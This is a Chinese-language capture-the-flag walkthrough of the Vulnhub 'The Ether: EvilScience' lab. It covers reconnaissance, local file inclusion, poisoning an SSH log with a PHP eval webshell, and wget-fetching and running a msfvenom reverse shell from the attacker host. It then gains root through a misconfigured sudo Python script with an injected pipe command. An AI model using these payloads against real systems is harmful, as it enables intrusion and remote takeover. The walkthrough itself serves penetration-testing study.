25. CTF綜合靶機滲透(17)


靶機鏈接

https://www.vulnhub.com/entry/the-ether-evilscience,212

運行環境

  • 本靶機提供了VMware的鏡像,從Vulnhub下載之后解壓,運行vmx文件即可

  • 靶機:本靶機默認使用了自動獲取的上網模式。運行靶機之后,將會橋接到物理網卡,接入網絡。

  • 攻擊機:Kali虛擬機運行於virtualbox,同樣使用橋接模式,即可訪問靶機。

靶機說明

本靶機有一定難度,不適合初學者。

本靶機的滲透目標為滲透進靶機並且找到系統中隱藏的Flag值。

官方提供了一個提示:靶機中有一個相關的文件,在滲透過程中發揮重要作用,但是不要浪費時間試圖去解密這個混淆后的文件。

信息收集

  • ip發現

 首先看一下Kali的網絡配置:

之后使用namp發現靶機nmap -sP 192.168.0.0/24   發現有本網段有vm相關IP。

  • 端口掃描與服務                

使用nmap發現192.168.0.105 靶機基本信息:nmap -p 1-65535 -A 192.168.0.105

  • 威脅建模

分析nmap的掃描結果,發現靶機只開放了2280端口,系統為Ubuntu

22端口為SSH服務,80端口為http服務,Web容器為Apache/2.4.18

通常Web會存在各種各樣的問題,經過初步分析,以Web作為初步的滲透入口。

Web漏洞挖掘

1. 使用niktoWeb漏洞掃描器

使用nikto工具掃描Web漏洞,nikto -h 192.168.1.105-h參數指定掃描目標

沒有發現什么明顯的高危漏洞,發現了images目錄和/icons/README文件,沒有什么利用價值。

2. 使用dirb掃描網站目錄

dirb http://192.168.1.105 /usr/share/wordlists/dirb/big.txt

除了部分靜態文件,沒有發現有價值的利用點。

3. 瀏覽網站功能

根據前兩步基本的信息探測,並沒有發現漏洞點。手動訪問網站,分析網站功能。

我們先來查看網站首頁:

點擊ABOUT US鏈接后,發現URL為:http://192.168.1.101/?file=about.php,存在任意文件包含的可能。

4. 文件包含漏洞測試

為了直觀的看到測試結果,這里使用Burpsuite處理http請求。

通過嘗試包含Linux系統的配置文件,發現存在一定的限制。

如:包含/etc/passwd發現沒有結果。

之后測試了幾個常見的Apache日志的路徑:

/var/log/apache/access.log
/var/log/apache2/access.log
/var/www/logs/access.log
/var/log/access.log

均無結果。

猜測可能是更改了配置文件的路徑,嘗試讀Apache2的配置文件,/etc/apache2/apache2.conf,發現也是失敗。

嘗試通過php偽協議讀取php文件源碼,也無果。

file=php://filter/convert.base64-encode/resource=index.php

根據之前整理的文件包含漏洞筆記利用思路:

結合之前信息探測的結果,靶機只開通了httpssh服務。Apache的日志包含失敗,嘗試包含ssh的登陸日志。

file=/var/log/auth.log

成功讀到ssh的登陸日志。

獲取shell

1. 獲取一句話Webshell

使用一句話作為用戶名登陸靶機的ssh。

使用kali命令行登陸:

ssh "<?php eval($_GET['bmjoker']);?>"@192.168.1.105

或者使用xshell:

雖然我們不知道密碼,但是SSH的日志會記錄此次登陸行為,這樣就可以把一句話

寫入ssh的日志文件。測試一下是否成功:

可以看到一句話已經成功寫入。

2. msfvenom生成Meterpreter shell

平時使用Msf比較多,這里也以Msf作為接下來主要的滲透工具。

首先生成Linux平台的shell程序。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f elf > shell.elf

3. Metasploit 設置監聽

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.0.103
exploit

4. 種植Meterpreter shell

首先使用Python搭建一個簡單的Web Server:python -m SimpleHTTPServer 80

之后利用前面獲得的一句話,執行命令,下載生成的木馬,並且運行。

分別發送以下請求:

  1. /?file=/var/log/auth.log&bmjoker=system('wget+192.168.0.103/shell.elf')%3b

  2. /?file=/var/log/auth.log&bmjoker=system('chmod+%2bx+shell.elf')%3b

  3. /?file=/var/log/auth.log&bmjoker=system('./shell.elf')%3b

注意:

  1. 因為要執行的命令里面有空格、加號等符號,要將payload進行urlencode之后才可以正常執行。

  2. 因為生成的木馬文件沒有執行權限,下載到靶機后也無法執行,所以需要先給shell.elf添加執行權限,之后再執行。

執行結果:

提升權限

Linux提權的基本思路:

1. 溢出提權

現在拿到了目標靶機的Meterpreter shell,簡單的看下信息。

發現系統為Ubuntu 16.04 (Linux 4.10.0-40-generic),前段時間爆了Ubuntu16.04提權的exp,在這里試一試。

exp 地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c

多次實驗...發現提權未果

2. 使用msf提權

use post/multi/recon/local_exploit_suggester

沒有發現可以利用的提權漏洞。

3. 錯誤的SUID文件提權

進入交互式shell,派生一個bash的shell: python -c 'import pty;pty.spawn("/bin/bash")'

在Web的目錄中發現了xxxlogauditorxxx.py,這是不應該存在的,猜測是題目所指的特殊文件,而且該文件特別大。

運行一下該py文件,發現是審計日志的程序。 查看Apache2的日志文件,發現是執行了cat命令,但是因為權限不夠,沒有執行成功。

仔細查看py文件的權限,發現具有SUID的權限,且文件所屬用戶為root。

sudo --list查看一下用戶權限。

發現可以不使用密碼即可以root權限運行該py文件。這就好辦多了。

該py文件的配置錯誤,導致可以直接以root權限執行命令。

接下來拿root權限的shell。

4. 獲取root權限的shell

因為之前已經上傳了Msfvenom生成的馬,這里再次使用。首先推出shell,background命令調入后台,然后再次開啟監聽,並且置於后台。

利用發現的特殊文件以root權限運行msf木馬。

sudo ./xxxlogauditorxxx.py
/var/log/apache2/access.log|./shell.elf

 

運行py之后,顯示出現問題,不過不影響運行木馬。

進入session 2的shell,查看權限:

獲取flag

在root的家目錄發現了flag.png文件:

下載到本地進行分析:

推測接下來的考點屬於圖片隱寫。

經過分析,在圖片文件的末尾發現了一串base64

將base64寫入flag.txt,進行解碼,get flag:

cat flag | base64 -d

靶場思路回顧

至此,已經完成最終目標,回頭分析一下之前幾個失敗的點。

1. Web方面利用失敗原因

首先看一下index.php的核心代碼:

 
        
<?php
$file = $_GET["file"];
$file = str_ireplace("etc","", $file);
$file = str_ireplace("php:","", $file);
$file = str_ireplace("expect:","", $file);
$file = str_ireplace("data:","", $file);
$file = str_ireplace("proc","", $file);
$file = str_ireplace("home","", $file);
$file = str_ireplace("opt","", $file);
 
        
if ($file == "/var/log/auth.log") 
{
header("location: index.php");
}
else
{
include($file);
}
 
        
include($file);
?>

可以看到index.php將一些關鍵詞置空了。

所以,之前利用不成功的點原因如下:

  • 偽協議讀文件失敗

    過濾了php:且大小寫敏感,故不能使用偽協議讀文件。

  • 讀取配置文件、passwd文件等失敗

    過濾了etc,無法讀取任何配置文件

  • 讀取Apache訪問日志失敗。

         

  • 因權限問題,www-data用戶無法寫入和讀取Apache的日志文件。故,包含Apache日志失敗。

2. 系統方面利用失敗原因

  • 溢出提權失敗

    通過分析報錯,原因可能是因為靶機系統為32位,但exp只支持64位系統。

思路總結

突破點總結:

  1. PHP本地文件包含漏洞發現

  2. SSH日志寫入一句話

  3. 利用LFI和SSH日志getshell

  4. MSF生成木馬,利用一句話植入、運行

  5. 利用錯誤配置SUID程序提權

 

在完成這次靶場的過程中,可以有很多發散的思路,比如:

  1. 文件包含漏洞,可以使用字典Fuzz一下各種配置文件。

  2. 使用NC或者其他反彈shell的姿勢反彈shell。

此外,Metasploit Framework有很多方便實用的功能,如果能夠掌握,會大大簡化滲透的某些步驟,值得深入學習。

總體來說,此靶場設計比較簡單。一個Web,一個SSH,利用點無非這兩個,思路比較清晰,便於實踐者完成該靶場。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM